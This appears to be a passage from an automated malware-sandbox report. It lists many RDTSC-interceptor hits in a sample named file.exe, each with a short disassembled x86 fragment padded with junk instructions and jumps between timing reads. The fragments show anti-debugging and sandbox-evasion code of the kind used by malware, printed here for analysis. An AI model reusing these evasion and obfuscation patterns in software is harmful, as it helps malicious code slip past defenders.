Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3925 second address: 5C3984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F935581Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F96F9355818h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 add edi, 3875ACE6h 0x0000002d stc 0x0000002e push 00000004h 0x00000030 pushad 0x00000031 sub dword ptr [ebp+122D2992h], eax 0x00000037 mov si, 727Bh 0x0000003b popad 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F96F9355826h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3984 second address: 5C3996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96F91F29AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3CD0 second address: 5C3CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3CD4 second address: 5C3CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4117 second address: 5C411D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C411D second address: 5C4121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAEC5 second address: 5FAED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F96F9355816h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAED0 second address: 5FAED9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAED9 second address: 5FAEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB029 second address: 5FB02D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB02D second address: 5FB039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB19A second address: 5FB1A0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1A0 second address: 5FB1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F96F9355824h 0x0000000c jbe 00007F96F9355816h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB2F9 second address: 5FB31D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F96F91F29B9h 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB31D second address: 5FB325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB4C3 second address: 5FB4CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F96F91F29A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5779F4 second address: 577A12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96F9355820h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60055F second address: 600576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 js 00007F96F91F29A6h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F96F91F29A6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600576 second address: 60057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60057A second address: 6005A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F91F29ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F96F91F29B1h 0x0000000e popad 0x0000000f jo 00007F96F91F29B4h 0x00000015 jl 00007F96F91F29AEh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6006FB second address: 6006FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6006FF second address: 600705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600705 second address: 60070A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600877 second address: 60088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96F91F29B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600CE5 second address: 600CE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600CE9 second address: 600CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6001F2 second address: 600215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F96F9355827h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600215 second address: 60021D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60021D second address: 60023A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F96F9355828h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60023A second address: 600242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600242 second address: 600248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6010E4 second address: 601102 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F91F29B8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60153D second address: 601541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601541 second address: 60154B instructions: 0x00000000 rdtsc 0x00000002 js 00007F96F91F29B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60154B second address: 601551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604CF4 second address: 604CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607D73 second address: 607D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800D9 second address: 5800DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800DD second address: 5800FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F9355829h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800FC second address: 580124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F91F29B7h 0x00000007 push ecx 0x00000008 jns 00007F96F91F29A6h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580124 second address: 58012A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58012A second address: 580130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580130 second address: 580135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580135 second address: 58015E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96F91F29BDh 0x00000008 jmp 00007F96F91F29B1h 0x0000000d jg 00007F96F91F29A6h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 jnl 00007F96F91F29A6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A56 second address: 607A66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F96F9355816h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A66 second address: 607A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A71 second address: 607A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AA6B second address: 60AA87 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96F91F29A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96F91F29AEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AA87 second address: 60AA8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ABB6 second address: 60ABBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ABBA second address: 60ABCA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F96F9355816h 0x00000008 js 00007F96F9355816h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ABCA second address: 60ABDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F91F29ABh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60ABDB second address: 60AC1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F96F935582Ch 0x0000000f jng 00007F96F935582Fh 0x00000015 jmp 00007F96F9355823h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6128FE second address: 612918 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F96F934F1F2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612918 second address: 61291E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61181A second address: 611820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3B63 second address: 5C3B7A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F96F95D6D6Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3B7A second address: 5C3B84 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96F934F1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6119A9 second address: 6119AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6119AD second address: 6119C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F934F1F5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6119C8 second address: 6119D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F96F95D6D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B2A second address: 611B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F96F934F1EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F96F934F1F5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B57 second address: 611B63 instructions: 0x00000000 rdtsc 0x00000002 js 00007F96F95D6D66h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611B63 second address: 611B6E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F96F934F1E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61260F second address: 61261A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61261A second address: 612620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6161AE second address: 6161B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6161B2 second address: 6161D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F96F934F1EBh 0x00000017 popad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6161D3 second address: 6161DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F96F95D6D66h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616375 second address: 61638F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F96F934F1ECh 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F96F934F1E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61669A second address: 61669E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61669E second address: 6166BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F96F934F1F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6166BD second address: 6166CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F95D6D6Dh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6166CF second address: 6166D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6166D5 second address: 6166D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6166D9 second address: 6166DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61682D second address: 616831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619723 second address: 619733 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96F934F1E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619733 second address: 61973D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96F95D6D66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61973D second address: 619743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619743 second address: 619756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F96F95D6D66h 0x00000009 je 00007F96F95D6D66h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619756 second address: 61975C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619899 second address: 6198A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F95D6D6Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6198A7 second address: 6198C7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96F934F1E6h 0x00000008 jmp 00007F96F934F1EAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007F96F934F1E6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A0A second address: 622A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F96F95D6D6Ch 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A1E second address: 622A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A24 second address: 622A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F96F95D6D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581BC3 second address: 581BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jnl 00007F96F934F1F3h 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581BE7 second address: 581BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581BEE second address: 581BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581BF4 second address: 581BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581BFA second address: 581BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620B10 second address: 620B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F95D6D72h 0x00000009 jmp 00007F96F95D6D75h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push ebx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6212E4 second address: 6212E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62275C second address: 622769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F96F95D6D66h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622769 second address: 622779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F96F934F1EBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625F5B second address: 625F6D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F96F95D6D66h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625F6D second address: 625F7B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F96F934F1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626461 second address: 62649E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F96F95D6D66h 0x0000000c jmp 00007F96F95D6D70h 0x00000011 popad 0x00000012 jmp 00007F96F95D6D78h 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007F96F95D6D66h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62649E second address: 6264A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62674C second address: 626754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
